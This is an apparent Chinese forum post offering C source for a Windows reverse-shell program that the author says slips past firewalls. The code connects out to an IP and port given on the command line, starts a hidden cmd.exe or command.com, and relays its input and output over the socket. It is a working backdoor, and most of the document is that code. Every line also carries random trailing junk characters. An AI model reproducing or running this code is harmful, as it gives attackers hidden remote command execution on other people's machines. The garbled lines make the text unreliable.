这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 omy3<6
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/* ============================== -b8SaLak
Rebound port in Windows NT &(Hw:W9
By wind,2006/7 3B,dL|q(@J
===============================*/ F`(;@LO
#include AW|SD
#include
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#pragma comment(lib,"wsock32.lib") _?'W30Dg
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void OutputShell(); "*l{ m2"
SOCKET sClient; v3t<rv
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KU0Ad);e
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void main(int argc,char **argv) T \- x3i
{ \dE{[^.5
WSADATA stWsaData; 1uG)U)y/Q
int nRet; #r?[@aJ
SOCKADDR_IN stSaiClient,stSaiServer; Pec Zuv
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if(argc != 3) B~qo^ppVU
{ %Ny1H/@Q1+
printf("Useage:\n\rRebound DestIP DestPort\n"); dV'^K%#
return; ./0wt+
} Z(R0IW
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0L#i c61U
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~OxFgKn23&
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stSaiClient.sin_family = AF_INET; o]qwN:8^
stSaiClient.sin_port = htons(0); 3W#E$^G_v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); es%py~m)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #=ij</
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printf("Bind Socket Failed!\n"); > mJ`904L
return; %0}}Qt
} Df *<3G
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stSaiServer.sin_family = AF_INET; o~"Y_dLsW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ru`U/6n
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F!/-2u5gF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]$^HGmP
{ (RG "2I3
printf("Connect Error!"); l;R8"L:,p\
return; \ )>#`X
} Jq? zr]"A
OutputShell(); Gx}`_[-
} xWK/uE (
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void OutputShell() GJ2ZK=/
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char szBuff[1024]; QUvSeNSp
SECURITY_ATTRIBUTES stSecurityAttributes; S-~)|7d.
OSVERSIONINFO stOsversionInfo; Dr=$ }Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;PU'"MeB "
STARTUPINFO stStartupInfo; GXQ%lQ
char *szShell; z#P`m,~t0
PROCESS_INFORMATION stProcessInformation; ,RY;dX-#
unsigned long lBytesRead; 'wMvO{}$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zks7wt]A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5jwv! L<n
stSecurityAttributes.lpSecurityDescriptor = 0; S&XlMu
stSecurityAttributes.bInheritHandle = TRUE; 9rT^rTV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )s,tBU+N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mv~?1aIKD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >G%oWRk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gr/}&+S
stStartupInfo.wShowWindow = SW_HIDE; $@]
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stStartupInfo.hStdInput = hReadPipe; 3"v>y]$U
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CxJ3u
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GetVersionEx(&stOsversionInfo); }mIN)o
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switch(stOsversionInfo.dwPlatformId) UA2KY}pz5
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case 1: Jp}\@T.
szShell = "command.com"; Mlo,F1'?>
break; :b %2qBv
default: lz<'
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szShell = "cmd.exe";
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break; G `!A#As
} t1J3'lS
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jn(!6\n"
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send(sClient,szMsg,77,0); 'xG J;pY
while(1) 4Otq3s34FT
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d4^x,hzV
if(lBytesRead) ?a% F3B
{ #Y=b7|l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m;>G]Sbe
send(sClient,szBuff,lBytesRead,0); \ ~+b&
} 4uMMf
else cb0rkmO
{ TlkhI
lBytesRead=recv(sClient,szBuff,1024,0); Bt,'g*Cs
if(lBytesRead<=0) break; @{_X@Wv4iV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \#) YS
} Tsb}\
} S (xs;tZ
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return; ]u$tKC
}